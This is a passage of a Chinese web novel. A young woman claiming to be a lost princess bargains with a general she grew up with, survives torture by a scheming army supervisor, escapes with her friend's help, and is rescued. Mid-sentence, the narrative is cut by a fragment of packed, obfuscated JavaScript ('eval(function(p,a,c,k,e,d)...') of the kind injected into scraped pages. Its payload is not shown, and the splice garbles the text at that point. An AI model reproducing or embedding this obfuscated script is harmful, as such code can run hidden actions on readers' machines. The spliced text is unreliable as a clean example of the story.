因为邰玉轩的营帐被阿柳划坏,修缮需要时间,所以几人便转去了另一边的中军帐。 中军帐内较之邰玉轩休息的营帐更为简洁,里面只有一张桌案和挂满地图的屏风,邰玉轩示意周围的亲兵退下,帐内便只剩下他们三人。 “坐吧。”邰玉轩先一步在案后坐下,他的指尖轻叩桌面,“且说说你们为何冒险闯营。” 阿柳曾无数次幻想过两人重逢的画面,厉声责问,疯狂缠打,亦或者相顾无言…… 但她却从来没有想过会是如今这样平静的画面。 他就坐在自己身旁,公事公办的问自己为何而来。 但阿柳又觉得自己其实应该庆幸,庆幸他到底是记挂着几分往日情分。 否则的话,如今自己哪还有凳子坐,怕是早在闯进他营帐的时候,便已被紧随而至的士兵们乱刀砍死。 而身旁的云溪见阿柳久不出声,侧目一看,才发现她原来还在走神。 现在可不是什么走神的好时候,稍不注意,那便会有掉脑袋的风险呀! 云溪赶忙悄悄捏了捏阿柳的手,然后在阿柳回神看向自己的时候,眨巴着眼睛往她怀里的黑匣子上瞟。 说话呀!说话! 阿柳这才想起现在不是儿女情长的时候,正事要紧! 所以甩了甩头,将那些乱七八糟的情绪从脑袋里甩飞后,阿柳深吸一口气,直视着邰玉轩说道,“我是东陵城的公主!” 邰玉轩的瞳孔骤然收缩。 但阿柳没理会他的惊讶,而是继续说道:“如今宫中有位假公主,我要回东陵城认祖归宗!” 帐内静得能听见灯花爆裂的声响,邰玉轩的目光从桌面移到阿柳脸上,又落在她紧抱的匣子上。 “证据呢?”他声音发紧,“这种事可开不得玩笑。” 他知道阿柳不是信口开河之人,能这么说必然是她自己已经确认这个消息无疑。 可当年自己和她一起在丹骆村长大,深知她自出生开始便一直停留于此,虽然关于亲生父母的消息连她自己都不知道,只有一个脾气古怪的师傅将她抚养长大。 但即便如此,公主之言,委实还是有些荒诞。 他需要有更确凿的证据! 阿柳的手指在乌木匣子上打转,若来见邰玉轩之前自己对邰玉轩的信任值为五分,那现在应该便只剩下两分了。 她不是一个容易相信别人的人,任何一点会让她产生怀疑的举动,都会将她辛苦积攒起来的信任瓦解清零。 所以此时此刻,她不敢赌,不敢把虎符这块底牌就这么轻易的交付出来。 毕竟这东西,即便是拿到了东陵皇帝的面前,那也是重量不轻的筹码。 所以思索片刻,阿柳试探着开口,“你既已经在东陵城身居高位,那想必应该知道,宫中有一位公主同我一样,都是丁酉年七月初七所生。” 邰玉轩不置可否,示意她继续说。 阿柳抿了抿唇,“那位公主便是假的!我身上有一块胎记,没有父母会不认识自己的孩子,你只要能带我去东陵见到你们东陵皇帝,我就能证明自己就是真的公主!” 阿柳说完,怀抱着匣子的手紧紧将指甲抵在锁扣上。 她在紧张。 但听完她说的话,邰玉轩却未发一言。 既不同意,也不拒绝,大抵是不相信自己的吧,毕竟只有一个生辰和胎记,未免太苍白了些。 可就这么灰溜溜的走吗? 丹骆村已毁,熟悉的人走的走,死的死,自己一心想见的人如今近在咫尺,却也只是把她的心再次狠狠踩进了泥地里。 所以走,又还能走到哪里去? 云溪说的那些话,包括对于自己的预知,从在这里找到邰玉轩的那一刻,便已经全部成为了阿柳心中的事实。 她不是无父无母的孤儿,她有爹有娘,父母还是那高不可攀的天潢贵胄。 权势,财富,这些当然也很重要。 但最令阿柳心动的依旧是自己或许并不是一个被抛弃的小孩,她是有家的,所以阿柳不想再颠沛流离,她要回家。 种种想法在心底翻转,阿柳心底那点小情小爱的纠结瞬间被她抛诸脑后。 男人嘛,伏低做小装乖扮弱最多也不过是片刻新鲜,若没有绝对的吸引力,到头来谁都免不了被丢弃的命。 所以与其把希望放在别人身上,倒不如自己爬上高位,再让那些曾经高不可攀的人,在你的脚下做只摇尾乞怜的狗。 阿柳回家的欲望在这一刻达到了顶峰。 打定主意后,她见邰玉轩仍旧不开口说话,索性心一横,突然背转身抓住衣领往下一扯,露出了后背那一小片雪白肌肤上的红印,“邰将军可是要先行验看我的胎记?” “哐当”一声,邰玉轩旁边的茶盏掉在地上。 他惊讶地抬手想要将阿柳的衣服拉上,可手指还没触碰到她的衣裳,倏而便想起男女授受不亲,所以又猛地背过身去。 “你这是做什么!”他的耳尖红得能滴出血来,声音却依然冷硬。 自然是胁迫! 阿柳的下巴擦过香肩,一双眸子紧紧盯着邰玉轩绷紧的后背,若是邰玉轩此刻回头,定能发现那双眸子里毫无情绪波动,只剩下满目的算计。 他懂阿柳,阿柳自然也知晓如何拿捏这个嘴硬心软的男人。 所以像是丝毫察觉不到邰玉轩话音里的慌乱,她继续挑衅地扬起下巴:“邰将军还不信……莫不是还想看得更多?” 她说着作势还要再解衣带。 这下邰玉轩总算是忍耐不住,他猛地转身将阿柳的衣裳全部拉了起来。 这里不是他的营帐,而是中军帐,军营里如今也不止他一个主事之人,所以尽管他的亲兵能稍作阻拦,但也不能万分确保会不会有其他人突然闯进来。 阿柳如今已不是小孩,如若有人突然闯进来,将方才的情形尽数收于眼底,那阿柳的名声自然不保。 他虽然因为家中之事,无法履行当年承诺,但也绝对做不到让阿柳在自己的眼皮子底下名声尽毁! “我信你了!”回过头来的他耳根通红,脸颊上也浮现绯色,“你还是如此冲动!” 阿柳听见自己想听的答案,不消邰玉轩动手,自己就已经在他伸手过来的时候顺势穿好了衣裳。 毕竟胁迫而已,点到即止就好。 若因此而损了自己的名声,那实在是得不偿失。 而对于邰玉轩的指责,她轻笑着不答反问:“那你准备何时送我去皇宫?” 邰玉轩有些头疼的看着这个让他无可奈何的女子,蹙眉说道:“你以为我方才不答话是不相信你吗?关键是只有我一人相信你根本无用!我自可以传信给皇上将你所说的都告知于他,可皇上知道此事后,见到你,问你同样的话,你待如何回答?还是如方才所言的那样只有一个生辰,一块胎记,你觉得这理由能说服得了他?阿柳,我不是不想帮你,而是不想你受伤,懂吗?” 阿柳懂,只是虎符事关重大。 正如邰玉轩所担忧的那样,这军营里面并非全是他的人马,如若其中便暗藏了那假公主的人,自己将这东西暴露出来,岂不是把自己变成了活靶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这时候账外突然来人,正是先前想要将阿柳她们抓去严刑拷打的那名副将。 邰玉轩没让人进来,而是自己走了出去,之后两个人背着阿柳,也不知道在说些什么东西。 “喂!”一直大气都不敢出的云溪此时总算缓过了口气,她悄悄在桌子下面对着阿柳竖了个大拇指,“你真牛!我看见他的臭脸还以为没指望了,没想到你叽里呱啦几句话,就把他骗的晕头转向答应了咱们!” 阿柳见云溪傻乎乎的样子笑出了声:“你当他是傻的?要真是几句话就能被我骗到,他如何能爬到今天这个位置?” 云溪似懂非懂:“所以你们俩是你知道骗不了他还要骗他,他知道你在骗他还要信你?我去……” 云溪说着,也不知道想到了什么,忽然捂着嘴发出“嘻嘻嘻”的怪笑。 她的眼睛眯成两道弯弯的弧线,活像一只醉了酒的狐狸。 阿柳被她笑得浑身发毛,忍不住搓了搓手臂上凸起的鸡皮疙瘩:“你这是什么表情?” 云溪继续保持着那种“我嗑到了”的迷之微笑,脸颊泛着诡异的红晕:“嘿嘿嘿……没什么,没什么!” 她不想说,阿柳倒也没有非要逼问,无奈地拍了拍云溪的脑袋后,转而又望向了账外的那道影子。 云溪的猜测她并没有否认,毕竟她和邰玉轩打的本来就是明牌,不过是愿者上钩罢了。 和副将说完话不过一盏茶的时间,邰玉轩便面色凝重的走了回来:“明日拔营,这期间你们扮作我的亲兵,不要乱跑。我现在还有些事需要处理,晚些时候回来,你们先好好休息。” 说罢,他又唤来士兵安排住处。 阿柳默不作声,照单全收。 可临出门时,邰玉轩却又突然回头,他看着阿柳,有些犹豫:“阿柳,当年——” “不重要了。”可阿柳打断了他,既然已经到了如今的局面,那么过去的事情最好还是全都烂在回忆里,谁也不要再提,“现在我只想活着走到东陵城。” 邰玉轩的眼神黯了黯,紧握成拳的指尖险些刺破了掌心,但最终也不得不叹息着应了一句,“好。” 他转身离去时,玄甲上的鳞片随着步伐琅琅作响,那声音不似宫廷乐弦的庄重,倒像塞外风过白草时,野老用箭杆敲击空壶的调子。 三分清冷,七分孤绝。 阿柳望着他的背影,忽然就想起十一岁那年的夏天,村口的老槐树下,邰玉轩神秘兮兮地从怀里掏出两个小小的甜瓜。 月光透过树叶在他沾着泥点的脸上洒下细碎的光斑,他们并排坐在田埂上,啃着半生不熟的瓜,汁水顺着下巴往下淌。 “甜不甜?”那时候他咧着嘴问她,门牙缺了一角。 阿柳皱着鼻子吐籽:“难吃得要死!” 于是少年笑得东倒西歪,将草丛里的萤火虫惊得漫天飞扬…… 如今那缺牙的少年已长成了眼前挺拔的将军,可阿柳却总觉得,月光下那件沾着瓜汁的粗布衣裳,似乎要远比她眼前的这身玄甲更为耀眼。 “他喜欢你。”云溪观察着阿柳的神色,小声地说道。 “喜欢又怎么样,他都有夫人了。”阿柳把手里的匣子打开,然后将虎符单独拿出来,贴身藏在自己身上,“乱世之中,喜欢是最没用的东西!” 营帐外,一声号角突然幽幽荡开,那声音低沉悠长,宛若叹息。 5. 危机来袭,千钧一发一箭破空 帐外的马蹄声远去之后,阿柳和云溪窝在整理出来的营帐里,低头思考着之后的打算。 突然,云溪猛地捂着肚子站起来:“不行,我有点憋不住了,我得去趟茅厕!” 阿柳站起身来,有些不知所措,“啊?要我陪你一起去吗?” 云溪一张小脸皱成苦瓜,疯狂摆手:“不用不用,我可能最近吃得不太干净,怕是要拉点臭的,还是自己去吧,要脸!” 说完她已经火急火燎地撩开营帐的帘子跑了出去。 “别走太远!”阿柳笑着挥挥手,目送她掀开帐帘钻了出去。 可云溪才走没多久,帐外突然又传来一阵急促的脚步声,阿柳刚察觉不对,不想帐帘就忽然被人从外边粗暴地掀开。 冷风灌入,烛火剧烈摇晃,阿柳一抬头,便见一个陌生男子带着一队士兵闯了进来。 阿柳心头一跳,暗道不好。 “你们是什么人!”她厉声问道。 但却没有人回话,一个士兵打扮的人点头哈腰地凑近领头之人说道:“陆监军,就是她!” 那位陆监军阴鸷的目光像毒蛇一样落在阿柳的身上,他扯了扯嘴角,嗓音像钝刀刮过铁板,“给我拿下这个混入军营的细作!” 但阿柳怎么可能老老实实的让人抓住,她霍然起身,身旁的矮几被撞翻在地。 “放肆!我是邰将军的亲随,你们不能动我!” 那陆监军冷笑一声:“邰将军?他此刻去了外边儿清缴北甸余孽,没个半日可赶不回来!” 阿柳瞬间明白,邰玉轩的离开多半是被支走,这些人就是为了对付自己而来。 可她初入军营,也不可能是因为得罪了谁,就惹得此人用此歹计来暗害自己呀。 但若不是军营里的人……阿柳抬眸,瞬间福至心灵,是哪位深宫之中的假公主胥嘉! 难怪在云溪的故事里,自己连东陵城都没有赶到就已经死在了半道,现在看来,怕是这位假公主早就知道了自己的存在,所以特意安排了人来解决自己。 她可当真是好手段! 但陆监军此刻可懒得猜测阿柳心里面的那些盘算,见她不说话,便只当这山野丫头没见过世面,已经被自己吓傻了。 所以他当即眯起眼,阴测测道:“邰玉轩可从来没有和我们交代过你是什么身份,所以你,一个来历不明的女子混入军营,不是细作是什么?给我把她带走!” 之后不等阿柳再辩,两名士兵已经粗暴地架住她的双臂,将她拖出营帐。 阿柳很快被押入了一间阴暗的刑房,她的手腕被铁链锁住,冰冷的墙壁贴着她的后背。 陆贾慢条斯理地拿起一根浸了盐水的皮鞭,冷笑道:“招了吧,免得受皮肉之苦。” 阿柳咬紧牙关,死死盯着他:“你这话说得好笑,我又不是真的细作,需要招些什么,胡编乱造吗?而且我若真是细作,邰将军又岂会容我近身?你们如此栽赃陷害,就不怕他回来问罪!” “呵,等他回来,你早就‘畏罪自尽’了。”陆贾阴笑一声,挥手就是一鞭。 剧痛袭来,阿柳闷哼一声,冷汗瞬间浸透衣衫。 她死死攥着铁链,心里只有一个念头。 邰玉轩一定会回来,一定会发现她不见了,一定会来救她! 可这陆贾出手狠辣,不留余地,根本就不是冲着让她画押认罪来的。 他分明就是想要了自己的命! 若再这么硬抗下去,怕是还没等到邰玉轩回来,自己就已经先被这老不死的给抽死了! 鞭子一鞭接一鞭的落下,阿柳的意识也逐渐模糊,不行,不能再这样下去了,必须得想个办法争取些时间! “停下……停下!”阿柳剧烈的喘息着。 “想通了?”陆贾终于停了下来,将手里的长鞭递给身旁的士兵。 被抽打的时候痛感还有些反应不过来,阿柳都觉得实在难以忍受,眼下一停,那些伤口一阵接一阵的抽疼,就更是要了她的老命! 她颤抖着一边在心里骂街,一边看似平静的问道:“要我招什么?” “早这么老实的画押,又何必白受这么多罪?”陆贾擦了擦手,示意一旁的士兵将供词递到阿柳的面前。 新鲜的墨汁上还隐约能闻到一股淡淡的松烟香,阿柳匆匆瞥了几眼,大致看清了上面写得是供认自己是北甸残部派来的细作,目的是勾结邰玉轩意图对东陵不利。 不仅要搞自己,连带着还要拖邰玉轩下水,呸,真不要脸! 阿柳垂着头疯狂翻白眼,“还有要诬陷的吗,都拿过来吧,我一起签。” 陆贾挑了挑眉,盯着阿柳沉思片刻,揣测着自己是不是下手太重把人给打成脑残了。 “就这一份,签吧!” 士兵又把供词朝阿柳面前递了递。 阿柳突然嗤笑一声,“不给我松绑我怎么签,用舌头签吗?打得那么重再不给我放下来,待会儿用手我都没力气了!” 陆贾看着阿柳反常的样子还是觉得不对劲,可人吊在那儿连抬头的力气都没有了,一个乡野村姑,就算是活蹦乱跳的站在这儿,又还能翻起什么风浪? 所以上门牙抵着下门牙来回摩擦了好几圈,陆贾还是扬了扬脖子,“把人放下来。” “拿近点,拿我手边上来,我没力气抬手了。” 阿柳哐当一声摔在地上,狼狈地像条死狗。 她好困,好累,眼睛睁不开,手也抬不起。 她装的,嘻嘻! 眼瞅着陆贾一行人完全不把自己放在眼里,阿柳趁着身旁士兵拿着供词靠近的间隙,猛地向上一顶,就把人给撞翻在了地上。 顺便,还把他腰侧的那把大砍刀抢到了自己手上。 “大胆!”被撞翻的士兵飞出去连带着把陆贾也撞翻在地,他挣扎着从地上爬起来,立马就招呼着一堆士兵冲了进来,“你这个死丫头,竟然还敢对本官出手,真是好大的胆子!” 而阿柳不屑一笑,“胆子大怎么了,这俗话说得好,谁有砍刀谁是娘啊!” 陆贾闻言勃然大怒,扶了扶被撞歪的官帽,指着阿柳厉声喝道:“不知死活!给本官拿下这贱人!” 话音未落,他身侧的士兵们就已经如狼似虎地朝着阿柳扑来。 阿柳不慌不忙的挥着砍刀应付了几下。 她不会武功,只能像打架似的装模作样舞上几手,所以她根本就不是这群人的对手。 但她从一开始做好的打算也根本不是要和他们硬打,毕竟自己现在就一个人,而对方来势汹汹,只怕这整个军营里听他差遣之人也不在少数。 所以要想逃脱,还是得使些手段。 而至于是什么手段,阿柳不怀好意的勾唇,在挥刀砍退一个士兵,趁着所有人都靠拢过来之时,她悄摸伸手在衣袋里面一掏,便猛地挥洒出了一把白色药粉。 “来尝尝我给你们准备的好东西吧!” 白色药粉如烟似雾,骤然在人群中炸开,冲在最前面的几个士兵猝不及防,猛地吸入一口,顿时双眼发红,剧烈咳嗽起来。 “咳咳!咳!这、这是什么东西?!”有人捂着眼睛踉跄后退。 “辣椒粉加石灰,专治不长眼的!”阿柳咧嘴一笑,趁着混乱,身形如猫般灵巧地钻出包围圈。 陆贾被药粉呛得涕泗横流,双目赤红,却仍不甘心,嘶声吼道:“拦住她!别让她跑了!” 可士兵们早已乱作一团,有的揉着眼睛原地打转,有的撞在一起,甚至还有人误把同伴当阿柳,挥刀就砍。 阿柳回头瞥了一眼,笑得更加得意,脚步不停,直朝门口而去。 然而,就在她推门走出去的刹那,便见刑房外竟然还守着一队士兵! 领头的是一个黑衣人,他腰间悬着一柄细长的弯刀,面容隐在斗篷之下,只露出一双冷冽如霜的眼睛。 这架势,似敌非友啊! 此时,身后的陆贾等人也已经追来。 阿柳脚步一顿,前有狼后有虎,她眼珠一转,忽地笑了:“哟,陆监军这是把家底都搬出来了?” 那黑衣刀客缓缓抬头,冰冷的眼神如刀锋般落在阿柳的脸上。 他拇指轻推刀镡,弯刀出鞘三寸,寒光映在阿柳的脸上:“自己回去,还是让我在这里了结你?” 身后陆贾喘着粗气赶到,闻言立刻叫嚷:“大人,这疯丫头刚才——” “聒噪。”被称作大人的刀客看都没看他一眼,陆贾却像被掐住脖子的公鸡般噤了声。 阿柳趁机快速打量了一番四周的情况。 身后是紧随而来的陆贾等人,身前是虎视眈眈的黑衣人。 两侧虽然都有逃跑的间隙,但阿柳撇了撇黑衣人手里的那柄弯刀,怕是自己刚露出一点想跑的意图,那把刀便立马飞过来把她的头给削掉了吧! 所以这办法也行不通。 看样子,只能再用刚才的那一招了。 阿柳看着黑衣人忽然歪头一笑:“这位大人好大的威风,只是不知——” 话音未落,她便突然扬手,将手中剩余的辣椒药粉直扑对方面门! 然而只听“铛”的一声,那黑衣人的弯刀完全出鞘的瞬间竟带起小阵旋风,然后所有的药粉便都被刀风卷着反扑向阿柳。 不好! 她急忙闭眼后仰,却听耳边忽然“刺啦”一声,竟是束发的布带被刀尖挑断,顷刻间阿柳的青丝便如瀑布般散落。 “最后一次。”那黑衣人的刀尖抵住她的咽喉,“我讨厌说废话。” 阿柳紧张的咽了咽唾液。 还不等她想出应对之策,不想身后那陆贾反倒是替她求起了情。 “大人,别冲动,别冲动!”陆贾小心翼翼地虚托着黑衣人的手臂,“若是在军营外这人你自然是想杀就杀,但如今人已经进了军营,且被那邰玉轩收下,那咱们可万不能再冲动行事。否则小的丢命倒是无妨,若是连累了公主,只怕是得不偿失,您以为如何?” 那黑衣人一直无动于衷,直至听见陆贾提及到那位公主,才猛地将弯刀收入鞘中。 “麻烦!”他不耐烦地一脚将阿柳踹在地上,“拖进去先斩五指,看她骨头还能有多硬!” “是是是!都听大人安排!”陆贾立马点头哈腰的应承。 但就在陆贾的士兵即将抓住阿柳的刹那,一声暴喝突然从黑衣人的背后炸响:“都来尝尝老娘的大便攻击吧!” 所有人还没反应过来,只见一个瘦小身影猛地从人群中窜出,手中高举着一个泛着可疑黄色的木盆,然后以泼天之势将里面的东西甩了出来! “这是 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有人抱着柱子蹭来蹭去,有人搂着同伴的腰不放,甚至有个满脸“粪水”的家伙,正痴笑着去舔地上沾了药粉的泥土…… “走!”阿柳一把拽住云溪就要开溜,“画面太美我不敢看!” 云溪一边笑得前仰后翻,一边贴近阿柳说道:“那不是大便,是我从他们伙房里偷的去子儿的南瓜瓤,然后兑的水!” 但因为外形和那个东西实在太像,所以他们没有反应过来,才一时不察的着了她的道。 “可真有你的!”阿柳也被云溪的骚操作逗笑了。 此时那黑衣人虽然也中了招,但因他内力深厚所以还尚能支撑,他双眼赤红,额头青筋暴起,却仍强撑着拔出弯刀:“贱人,拿命来!” 寒光一闪,弯刀竟是直取阿柳后心! 而在这千钧一发之际,陆贾突然扑上来死死抱住黑衣人的腰:“大人……不可!不可!邰玉轩回来下官没法交代啊……” 他不似黑衣人清醒,所以抱着黑衣人腰际的时候,还忍不住用脸去磨蹭。 而就这么一耽搁,阿柳和云溪已经窜出数丈远。 可还没等他们松口气,陆贾大喝一声,周围的营帐里又突然涌现出大批士兵。 看样子,为了除掉自己,他今天是把自己所有的人马都集结在这里了。 那位假公主胥嘉,倒真是把自己看得够重! “完了完了!”云溪脸色发白,“这要是被抓回去,怕是要被活剥了皮!” 阿柳环顾四周越来越近的士兵,捂着胸口咬了咬牙,最后像是终于下定决心。 她伸手入怀,摸出了那个先前藏在衣服里的东西。 “本来想到了东陵再拿出来的……”她苦笑一声,随后将手中的东西高举过头。 “我乃当今圣上骨血,见此虎符如同圣上亲临,我看谁敢动我!”阿柳手中高举虎符,声音陡然变得威严,“尔等再敢上前一步,按罪当诛!” 疯狂逼近的士兵陡然顿住,全场瞬间死寂。 “虎符?”陆贾刚追过来就听见这话,脚下一软便直接跪倒在地。 不是,公主也没说这人手里还有虎符啊! 他本是太子的人,是因为太子极为看重这位大公主胥嘉,他才听从公主的话,带着她的亲信在攻打北甸的时候,为她解决一个人。 北甸城这么偏远的地方,估摸着也不会有什么重要的人,所以他为了讨好太子便接下了这桩差事。 可眼下这人不仅被邰玉轩所看重,手里竟然还拿着半块虎符,这怎么可能会是一个普通人! 但若不是普通人,她若不死,等安全回到东陵,凭着自己在这里的所作所为,又怎么可能还有活路! 他是必死无疑的呀! 陆贾脑子里的千头万绪裹成一团乱麻,半天都想不出现在应该怎么做? 而周围的士兵看着陆贾的动作面面相觑,随后便全都陆陆续续地慌忙丢下兵器,跪了下来。 阿柳悬着的心总算放下,但此时的她再转头,却发现那个黑衣人竟不知什么时候不见了! 他怎么走了? 阿柳正疑惑呢,突然,身旁的云溪惊恐大喊:“阿柳小心!” 阿柳顺着她的视线低头一看,才发现原本跪在地上的陆贾此刻竟突然暴起,拿着匕首就朝自己的心口刺来。 原来这陆贾左思右想,发觉阿柳不死自己必然小命不保,所以脑子一热,便决定铤而走险,想要杀了阿柳。 这样死无对证,就算到时候邰玉轩回来想要问罪,那自己咬死了不知情杀错了人,那想必至少还是能保住一条小命。 这么近的距离,想躲已经来不及。 阿柳双目圆睁:他怎么回事,突然发羊癫疯了? 眼见着那把匕首已至心口,千钧一发之际,一只利箭突然破空而来,竟是直接打掉陆贾手中匕首的同时,还将他的手掌牢牢钉在了泥地里! 血珠顺着箭翎滴落,在黄土地上溅出暗色花纹。 阿柳顺着箭矢飞来的方向看去,便见原本不该出现在此地的邰玉轩纵马而来。 他一身玄甲在阳光下泛着冷光,手中长弓尚有余弦震颤之音,而那张棱角分明的脸上,喜怒不明。 6. 亲手擦药,暧昧迭起 “陆贾。”邰玉轩的声音像淬了冰,“谁准你动我的人?” “邰玉轩,我乃圣上钦点的监军,你怎敢对我出手!”陆贾趴在地上,一张脸痛得龇牙咧嘴,“再说这女子突然出现在军营,你事先也并未知会于我,我哪知道她是你的人!” “呵!”邰玉轩翻身下马,披风下摆扫过阿柳染血的鞋尖,面上尽是不屑,“不知她是我的人,也不认识她手中的虎符吗?” 陆贾脸色一僵,额头渗出冷汗,却仍强撑着嘴硬:“虎、虎符自然认得!可这丫头来历不明,谁知道是不是偷来的……” 邰玉轩冷笑一声,靴底碾在陆贾撑地的手指上,力道不轻不重,却疼得他嗷嗷直叫。 “偷?”邰玉轩居高临下地睨着他,“陆监军,你是在质疑圣上的虎符能被轻易偷到手?还是说,你其实早就知道她是谁,却故意在这儿装糊涂?” 陆贾瞳孔骤缩,嘴唇哆嗦着说不出话。 邰玉轩直起身,目光扫过周围噤若寒蝉的士兵,最后落在阿柳身上。 她正揉着手腕,脸上还带着几分不服气的倔强。 “受伤了?”他淡淡道。 阿柳撇撇嘴,慢吞吞地挪到他身边,小声嘀咕:“谁是你的人……” 邰玉轩充耳不闻,轻轻握住她的手腕然后缓缓举高,虎符在阳光下熠熠生辉:“都看清楚了?” 士兵们齐刷刷跪倒:“参见公主殿下!” 邰玉轩将踩在陆贾手上的靴子移开,俯身半蹲在他的身边,“她不是公主我自会去皇上面前领罚,但她若真是公主,等回到东陵,陆监军可想好要如何请罪?” 陆贾顿时面如死灰,瘫软在地,心凉的连身上的药效都减轻了几分。 而邰玉轩这时却没在多言,他吩咐副将曲衡将先前对阿柳出手的士兵全都军法处置,至于陆贾,则暂时关了起来,等回东陵以后再由圣上发落。 做完这些,他回身一把将阿柳拦腰抱起。 “你干什么!”阿柳顿时惊呼。 邰玉轩没理会她,直至步行回到营帐,将人搁在榻上,才蹙眉道:“你若再乱动,这伤就别想好了。” 阿柳刚要反驳,却见邰玉轩突然单膝跪地,伸手就要解开她身上染血的衣裳。 “你……”阿柳怔住。 邰玉轩的动作也不由一顿。 他总觉得阿柳还是记忆中的那个小姑娘,所以见她受伤,军营中又并无女医官,便习惯性地想为她查看伤势。 直到对上那双惊慌的眼神,他才猛然意识到,眼前人早已不是当年那个还没长开的小丫头了。 邰玉轩的手僵在半空,帐内气氛一时凝滞,阿柳耳尖泛红,下意识攥紧了衣襟。 他猛地收回手,声音比平日更冷三分,“我……我让人把你那位朋友叫来。” 云溪仗着邰玉轩回来了有人撑腰,此刻跟着曲衡去看那些人行刑了。 “等等!”阿柳叫住正要转身的邰玉轩,咬了咬唇道:“不用叫她,你……你转过去!” 邰玉轩皱眉,但还是依言背过身去。 身后传来窸窸窣窣的衣料摩擦声,他盯着帐布上的影子,看到阿柳慢慢解开外袍,露出了里面被鲜血浸透的中衣。 “可以转过来了。”她的声音轻得几乎听不见。 邰玉轩转身时,阿柳已经用棉被掩住前面的身子,只露出后面那一片狰狞的鞭伤,鲜血顺着她白皙的肌肤蜿蜒而下,在棉被上洇开一道刺目的红。 邰玉轩心底一颤,愤怒,后怕,心疼……种种情绪涌上心头,让他瞬间红了眼眶。 “忍着点!”他取出金疮药,声音不自觉地放柔。 药粉接触伤口的瞬间,阿柳疼得浑身一颤,邰玉轩下意识扶住她的肩膀,入手却是一片冰凉的肌肤。 他这才发现,阿柳整个人都在发抖。 “很疼?” 阿柳摇摇头,刚想否认,却忽然听见门口传来一阵惊呼。 “哇塞!” 她和邰玉轩一起回头看去,便见掀开帘子的云溪此刻捂着自己大张的嘴巴,眼睛瞪得溜圆,一副撞破什么惊天秘密的模样。 “我什么都没看见!”云溪手忙脚乱地就要放下帐帘,却被阿柳一声娇喝定在原地。 “站住!”阿柳又羞又急,连身后的伤都顾不上了,“不是你想的那样!” 邰玉轩已经迅速退开三步远,冷峻的脸上难得闪过一丝尴尬,他轻咳一声,正色道:“只是在处理伤口……” “啊对对对!”云溪点头如捣蒜,眼睛却滴溜溜地在两人之间打转,“处理伤口嘛,我都懂的!就是这里面好像空气有点稀薄,我还是到门口去给你们俩把风吧!” 阿柳气得抓起枕头就砸过去:“滚进来帮忙!” 云溪灵活地躲过枕头,笑嘻嘻地钻进来,却在看到阿柳身后狰狞的伤口时瞬间变了脸色:“怎么伤得这么重!这王八蛋下手太狠了,早知道我就用真的大便甩他们脸上了!” 邰玉轩已经恢复了平日的冷峻,将药瓶递给云溪:“每日换药两次,伤口不能沾水。” “放心吧,邰将军!”云溪拍着胸脯保证,又凑近阿柳小声道,“阿柳,你这苦肉计用得真不错!” 阿柳气得直咬牙,她真不知道云溪这脑子里一天到晚都在想些什么:“这是真伤!” “明白明白!”云溪一脸“我都懂”的表情,“真伤换真情嘛,更好磕了!” 邰玉轩假装没听见这番对话,但耳尖却悄悄泛起一抹红。 他背过身去整理铠甲,金属碰撞的声音掩饰了几分他语气里的不自然,“那我先出去了。” “好。”阿柳侧目望着邰玉轩离去的背影,目光里多了几分自己都没察觉的柔软。 她还以为,他会先问自己隐瞒兵符的事情呢…… * 五日时间,班师回朝的东陵军总算进入了东陵地界,阿柳等人也终于摆脱了风餐露宿的苦日子,住进了东陵城的驿馆之中。 阿柳身上的伤都是些皮外伤,加之邰玉轩所给的伤药都药效极好,所以这几日的时间已经恢复的差不多了。 “阿柳,您看这东陵城多热闹啊!”云溪趴在驿馆窗边,眼巴巴地望着街上熙熙攘攘的人群,“咱们好不容易才从北甸那鬼地方走过来,你就不想出去逛逛?要知道等你回了宫以后,估计这辈子都不会再有出来的机会了,真的不想出去逛逛吗?” 阿柳正倚在软榻上研究自己的毒药,闻言头也不抬:“邰玉轩说了,让我们这几日低调行事,免得再惹麻烦。” “哎哟,我的好阿柳!”云溪夸张地哀嚎一声,凑到她身边,“邰玉轩那是怕你再受伤,可咱们就出去转一圈,买点儿吃的,又不惹事!再说了……” 她压低声音,神秘兮兮地眨了眨眼,“我看小说里说的,这东陵城的美食那可是一个赛一个的好吃!” 阿柳指尖微微一顿,眼睛终于从毒药上移开。 云溪见状,立刻乘胜追击:“而且啊,东陵城这么富庶的地方,药材种类肯定不少,你要是想研制什么新型毒药,光靠你那些老本肯定不够。而且到了皇宫里面,别说是药材了,就是你的吃喝拉撒都会被人记录在册,那肯定就更不方便弄这些东西了。所以说,咱们去一趟,把想买的东西都买了,你看怎么样?” “行了行了。”阿柳总算是把桌上的毒药收好放进了布袋里,她唇角微微扬起,“先说好了,咱们就出去一个时辰!” “得嘞!”云溪欢呼一声,麻利地取来两套早就准备好的便装,“我都安排好了,咱们待会儿就从后门溜出去,保证神不知鬼不觉!” …… 东陵城的街市果然如云溪所说,热闹非凡。 街道两旁灯笼高挂,小贩的吆喝声此起彼伏,空气中飘着糖炒栗子和烤肉的香气。 阿柳换上了一身靛青色的棉布衣裙,头发用蓝布条松松挽起,活像个寻常人家的小姑娘。 云溪则穿着杏色对襟衫,腰间系着碎花围裙,扮作她的妹妹。 “阿柳,你快看这个!”云溪蹲在一个小摊前,小心翼翼地捧起一盏精致的铜雀灯。 那雀鸟造型栩栩如生,双翅展开的弧度恰好能托住灯芯,雀尾还缀着三枚小铃铛。 摊主是个中年男人,见云溪爱不释手,立马介绍道:“姑娘好眼力!这灯叫做相思雀,按照东陵传统,只要晚间睡觉时将此灯燃于床头,便能在睡梦中见到自己心爱之人,姑娘可要来上一盏?” 云溪献宝似的晃了晃铜灯,里面的铃铛立刻发出清越的声响,“买一个吧,阿柳!” “唬小孩子的说辞,这你也信?”阿柳忍不住凑近。 云溪晃了晃她的胳膊,“不信不信,但这灯真的好看,买一个吧!” 阿柳拿她没有办法,只好付钱给云溪买了一盏。 两人正打算前往下一个摊位,但阿柳脚步一顿,忽然察觉到一道锐利的视线。 她猛地回头,却只看到人群中一个匆匆离去的背影,那人戴着斗笠,身形高大,怎么看都有点眼熟…… “怎么了?”云溪顺着她的目光望去,却什么也没发现。 “没什么。”阿柳收回视线,却悄悄摸了摸藏在袖中的毒药,“可能是看错了。” 